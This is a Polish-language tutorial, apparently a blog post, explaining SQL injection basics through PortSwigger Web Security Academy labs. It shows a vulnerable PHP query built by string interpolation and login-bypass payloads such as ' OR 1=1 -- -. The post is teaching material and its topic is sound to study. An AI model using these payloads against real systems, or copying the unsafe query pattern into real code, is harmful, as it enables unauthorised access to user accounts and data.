&lt;p>&lt;strong>Czyli o wydobywaniu informacji z baz danych słów kilka&lt;/strong>&lt;/p>
&lt;p>Bazy danych są wykorzystywane w bardzo wielu miejscach. Wykorzystują je między innymi aplikacje webowe, z których korzystamy każdego dnia. Adresy e-mail, nazwy użytkowników, hasła, informacje o produktach - wszystkie te informacje muszą być gdzieś przechowywane. Popularnym wyborem są &lt;a href="https://www.oracle.com/database/what-is-a-relational-database/"target="_blank" rel="noopener">relacyjne bazy danych&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, z którymi aplikacje komunikują się i pobierają z nich dane korzystając z języka &lt;a href="https://pl.wikipedia.org/wiki/SQL"target="_blank" rel="noopener">SQL&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, często umieszczając w zapytaniu informacje otrzymane w postaci parametrów żądania &lt;a href="https://www.seobility.net/en/wiki/GET_Parameters"target="_blank" rel="noopener">GET&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> lub &lt;a href="https://sentry.io/answers/how-are-parameters-sent-in-an-http-post-request/"target="_blank" rel="noopener">POST&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> czy też zawartych w nagłówku &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie"target="_blank" rel="noopener">&lt;code>Cookie&lt;/code>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Może to stwarzać bardzo poważną lukę bezpieczeństwa, która pozwala na wydobycie z bazy wrażliwych informacji takich jak loginy i hasła użytkowników danego serwisu.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>SPOILER ALERT&lt;/strong>: Poniższy artykuł pokazuje podstawy przeprowadzania ataków SQL injection (wstrzykiwania SQL) w oparciu w dużej mierze o zadania laboratoryjne dostępne na platformie &lt;a href="https://portswigger.net/web-security"target="_blank" rel="noopener">PortSwigger Web Security Academy&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Jako przykłady zostały w nim przedstawione rozwiązania lub wskazówki do części tych zadań.&lt;/p>
&lt;/blockquote>
&lt;h2>Czym jest SQL?&lt;span class="hx:absolute hx:-mt-20" id="czym-jest-sql">&lt;/span>
&lt;a href="#czym-jest-sql" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>SQL (&lt;em>Structured Query Language&lt;/em>) jest &lt;a href="https://en.wikipedia.org/wiki/Query_language"target="_blank" rel="noopener">językiem zapytań&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> pozwalającym na integrację z &lt;a href="https://www.oracle.com/database/what-is-a-relational-database/"target="_blank" rel="noopener">relacyjnymi bazami danych&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Warto się z nim zapoznać przed przystąpieniem do dalszej lektury tego artykułu.&lt;/p>
&lt;p>Język SQL wykorzystywny jest przez &lt;a href="https://www.spiceworks.com/tech/cloud/articles/database-management-systems-dbms/"target="_blank" rel="noopener">systemy zarządzania bazą danych (DBMS)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, między innymi:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.mysql.com/"target="_blank" rel="noopener">MySQL&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mariadb.org/"target="_blank" rel="noopener">MariaDB&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.postgresql.org/"target="_blank" rel="noopener">PostgreSQL&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.oracle.com/pl/database/"target="_blank" rel="noopener">Oracle Database&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.microsoft.com/pl-pl/sql-server/"target="_blank" rel="noopener">Microsoft SQL Server&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2>Na czym polega SQL injection?&lt;span class="hx:absolute hx:-mt-20" id="na-czym-polega-sql-injection">&lt;/span>
&lt;a href="#na-czym-polega-sql-injection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Z wstrzykiwaniem SQL mamy do czynienia w momencie, gdy aplikacja nie sprawdza danych wejściowych, które wykorzystuje przy wykonaniu zapytania do bazy danych lub robi to niepoprawnie, co pozwala na modyfikację jego oryginalnej treści zapytania poprzez dodanie do niego własnego kodu SQL.&lt;/p>
&lt;p>Przykład. Załóżmy, że mamy formularz logowania, który przyjmuje dane: nazwa użytkownika i hasło, a następnie wysyła je serwerowi za pomocą metody &lt;a href="https://sentry.io/answers/how-are-parameters-sent-in-an-http-post-request/"target="_blank" rel="noopener">POST&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Dane są odbierane przez aplikację, która następnie wykonuje zapytanie do bazy danych, aby sprawdzić, czy dane logowania są poprawne. Aplikacja napisana w języku &lt;a href="https://www.php.net/"target="_blank" rel="noopener">PHP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> może je sformułować mniej więcej tak:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$query&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;SELECT * FROM users WHERE username=&amp;#39;&lt;/span>&lt;span class="si">$username&lt;/span>&lt;span class="s2">&amp;#39; AND password=&amp;#39;&lt;/span>&lt;span class="si">$password&lt;/span>&lt;span class="s2">&amp;#39;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wartości zmiennych &lt;code>$username&lt;/code> i &lt;code>$password&lt;/code> są &lt;a href="https://phppot.com/php/variable-interpolation-in-php/"target="_blank" rel="noopener">podstawiane&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> do łańcucha znaków reprezentującego kwerendę. Dla przykładowych danych &lt;code>username=admin&lt;/code> oraz &lt;code>password=admin&lt;/code> będzie to:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;admin&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">AND&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;admin&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jednak co się stanie, gdy ktoś zdecyduje się wpisać w polu &lt;code>username&lt;/code> sam znak &lt;code>'&lt;/code> (apostrof)?&lt;/p>
&lt;p>Zapytanie przyjmie formę:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&amp;#39; AND password=&amp;#39;&lt;/span>&lt;span class="k">admin&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Dodanie apostrofu spowoduje błąd składni języka SQL, ponieważ w tym języku dane tekstowe zapisuje się właśnie między apostrofami. Ten jeden znak &lt;em>zakończy&lt;/em> tekst porównywany z wartością w kolumnie &lt;code>username&lt;/code>, a apostrof będący oryginalnie w tej kwerendzie będzie oznaczał rozpoczęcie nowego &lt;em>tekstu&lt;/em>. Serwer WWW w tym wypadku może zwrócić odpowiedź z kodem 500 &lt;em>Internal server error&lt;/em> informując nas o niepowodzeniu wykonania akcji wykonanej po jego stronie.&lt;/p>
&lt;p>Aby uniknąć błędu aplikacji, na końcu wstrzykiwanego kodu możemy dodać pojedynczy znak bądź grupę znaków oznaczających komentarz. W przypadku języka SQL często będą to dwa myślniki oraz spacja.&lt;/p>
&lt;p>Wtedy zapytanie z iniekcją będzie wyglądać tak:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c1">-- &amp;#39; AND password=&amp;#39;admin&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>To co znajduje się &lt;em>za&lt;/em> myślnikami jest traktowane jako komentarz i ignorowane przez interpreter języka SQL. Po wyeliminowanie błędu składniowego kwerenda jest poprawna.&lt;/p>
&lt;p>Warto jeszcze po spacji po tych dwóch myślnikach dać trzeci, ponieważ aplikacja może &lt;em>ucinać&lt;/em> białe znaki na końcu. Przykładowo MySQL wymaga spacji po dwóch myślnikach, więc jej usunięcie spowodowałoby błąd.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c1">-- -&amp;#39; AND password=&amp;#39;admin&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h2>Podstawowy atak SQLi&lt;span class="hx:absolute hx:-mt-20" id="podstawowy-atak-sqli">&lt;/span>
&lt;a href="#podstawowy-atak-sqli" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Najbardziej podstawowym atakiem SQL injection jest wykorzystanie warunku z &lt;code>OR&lt;/code> (&lt;em>lub&lt;/em>). Jeśli we wrażliwym na atak parametrze podamy &lt;code>' OR 1=1 -- -&lt;/code> zapytanie przyjmie formę:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">OR&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c1">-- -&amp;#39; AND password=&amp;#39;admin&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W tym momencie, SQL sprawdza czy chociaż jeden z warunków został spełniony: albo &lt;code>username&lt;/code> jest puste, albo jeden jest równe jeden. Drugi warunek jest &lt;strong>zawsze&lt;/strong> prawdziwy, przez co zawsze baza zwróci nam jakąkolwiek odpowiedź. W przypadku podatnego panelu logowania zostaniemy zalogowani jako losowy użytkownik znajdujący się w tabeli &lt;code>users&lt;/code>.&lt;/p>
&lt;p>Przykład z zadania laboratoryjnego z &lt;a href="https://portswigger.net/web-security/sql-injection/lab-login-bypass"target="_blank" rel="noopener">PortSwigger Web Security Academy&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>:&lt;/p>
&lt;p>&lt;img src="./basic_sqli_login_bypass.png" alt="Podstawowe SQLi" loading="lazy" />
&lt;a href="https://portswigger.net/web-security/sql-injection/lab-login-bypass"target="_blank" rel="noopener">&lt;em>Lab: SQL injection vulnerability allowing login bypass&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>W obu polach formularza wpisałem &lt;code>admin' or 1=1 -- -&lt;/code>. Po kliknięciu przycisku &lt;em>Log in&lt;/em> zostajemy przekierowani na stronę:&lt;/p>
&lt;p>&lt;img src="./basic_sqli_login_bypass_success.png" alt="Udane SQLi" loading="lazy" />
&lt;a href="https://portswigger.net/web-security/sql-injection/lab-login-bypass"target="_blank" rel="noopener">&lt;em>Lab: SQL injection vulnerability allowing login bypass&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>Pomyślnie zostaliśmy zalogowani na konto użytkownika &lt;em>administrator&lt;/em>.&lt;/p>
&lt;p>Podatność nie musi tkwić wyłącznie w formularzach na stronie, które przekazują wpisane dane serwerowi za pomocą metody &lt;a href="https://sentry.io/answers/how-are-parameters-sent-in-an-http-post-request/"target="_blank" rel="noopener">POST&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Możemy je znaleźć także w parametrach żądania HTTP korzystającego z metody &lt;a href="https://www.seobility.net/en/wiki/GET_Parameters"target="_blank" rel="noopener">GET&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, które występują w &lt;a href="https://pl.wikipedia.org/wiki/Uniform_Resource_Locator"target="_blank" rel="noopener">URL&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>:&lt;/p>
&lt;p>&lt;img src="./basic_sqli_where_error.png" alt="Podstawowe SQLi w parametrze w URL - error" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data"target="_blank" rel="noopener">Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>&lt;img src="./basic_sqli_where_success.png" alt="Podstawowe SQLi w parametrze w URL - udane" loading="lazy" />
